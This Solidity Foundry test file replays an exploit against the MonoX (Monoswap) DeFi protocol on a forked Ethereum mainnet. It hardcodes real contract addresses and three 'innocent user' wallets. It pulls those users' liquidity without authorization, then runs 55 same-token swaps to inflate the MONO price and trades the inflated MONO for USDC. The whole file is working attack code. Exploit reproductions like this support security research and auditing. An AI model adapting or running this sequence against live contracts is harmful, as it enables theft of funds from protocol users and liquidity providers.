Mono_exp.sol

// SPDX-License-Identifier: UNLICENSED
// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
pragma solidity >=0.7.0 <0.9.0;

import "forge-std/Test.sol";
import "./../interface.sol";

contract ContractTest is Test {
    WETH9 WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    USDC usdc = USDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    MonoToken mono = MonoToken(0x2920f7d6134f4669343e70122cA9b8f19Ef8fa5D);
    Monoswap monoswap = Monoswap(0xC36a7887786389405EA8DA0B87602Ae3902B88A1);
    MonoXPool monopool = MonoXPool(0x59653E37F8c491C3Be36e5DD4D503Ca32B5ab2f4);
    address Monoswap_address = 0xC36a7887786389405EA8DA0B87602Ae3902B88A1;
    address Mono_Token_Address = 0x2920f7d6134f4669343e70122cA9b8f19Ef8fa5D;
    address WETH9_Address = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address Innocent_user_1 = 0x7B9aa6ED8B514C86bA819B99897b69b608293fFC;
    address Innocent_user_2 = 0x81D98c8fdA0410ee3e9D7586cB949cD19FA4cf38;
    address Innocent_user_3 = 0xab5167e8cC36A3a91Fd2d75C6147140cd1837355;
    address USDC_Address = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;

    uint256 Amount_Of_MonoToken_On_XPool;

    uint256 public Amount_Of_USDC_On_XPool;

    uint256 public Amoount_Of_Mono_On_This;
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 13_715_025); //fork mainnet at block 13715025
    }

    function testExploit() public {
        mono.approve(Monoswap_address, type(uint256).max);

        WETH.deposit{value: address(this).balance, gas: 40_000}();
        // WETH.balanceOf(address(this));
        // VISR_Balance =  visr.balanceOf(msg.sender);
        emit log_named_uint("WETH Balance", WETH.balanceOf(address(this)));
        WETH.approve(Monoswap_address, 0.1 ether);
        monoswap.swapExactTokenForToken(WETH9_Address, Mono_Token_Address, 0.1 ether, 1, address(this), block.timestamp);
        emit log_named_uint("MonoToken Balance", mono.balanceOf(address(this)));
        RemoveLiquidity_From_3_Users();
        // AddLiquidity For myself
        monoswap.addLiquidity(Mono_Token_Address, 196_875_656, address(this));

        Swap_Mono_for_Mono_55_Times();

        Swap_Mono_For_USDC();

        emit log_named_uint("Exploit completed, USDC Balance", usdc.balanceOf(msg.sender));
    }

    function RemoveLiquidity_From_3_Users() internal {
        uint256 balance_Of_User1 = monopool.balanceOf(Innocent_user_1, 10);

        monoswap.removeLiquidity(Mono_Token_Address, balance_Of_User1, Innocent_user_1, 0, 1);

        uint256 balance_Of_User2 = monopool.balanceOf(Innocent_user_2, 10);

        monoswap.removeLiquidity(Mono_Token_Address, balance_Of_User2, Innocent_user_2, 0, 1);

        uint256 balance_Of_User3 = monopool.balanceOf(Innocent_user_3, 10);

        monoswap.removeLiquidity(Mono_Token_Address, balance_Of_User3, Innocent_user_3, 0, 1);
    }

    function Swap_Mono_for_Mono_55_Times() internal {
        for (uint256 i = 0; i < 55; i++) {
            (,,,,,, Amount_Of_MonoToken_On_XPool,,) = monoswap.pools(Mono_Token_Address);

            monoswap.swapExactTokenForToken(
                Mono_Token_Address,
                Mono_Token_Address,
                Amount_Of_MonoToken_On_XPool - 1,
                0,
                address(this),
                block.timestamp
            );
        }
    }

    function Swap_Mono_For_USDC() internal {
        (,,,,,, Amount_Of_USDC_On_XPool,,) = monoswap.pools(USDC_Address);

        Amoount_Of_Mono_On_This = mono.balanceOf(address(this));

        monoswap.swapTokenForExactToken(
            Mono_Token_Address, USDC_Address, Amoount_Of_Mono_On_This, 4_000_000_000_000, msg.sender, block.timestamp
        );
    }

    receive() external payable {}

    function onERC1155Received(
        address _operator,
        address _from,
        uint256 _id,
        uint256 _value,
        bytes calldata _data
    ) external returns (bytes4) {
        bytes4 a = 0xf23a6e61;
        return a;
    }
}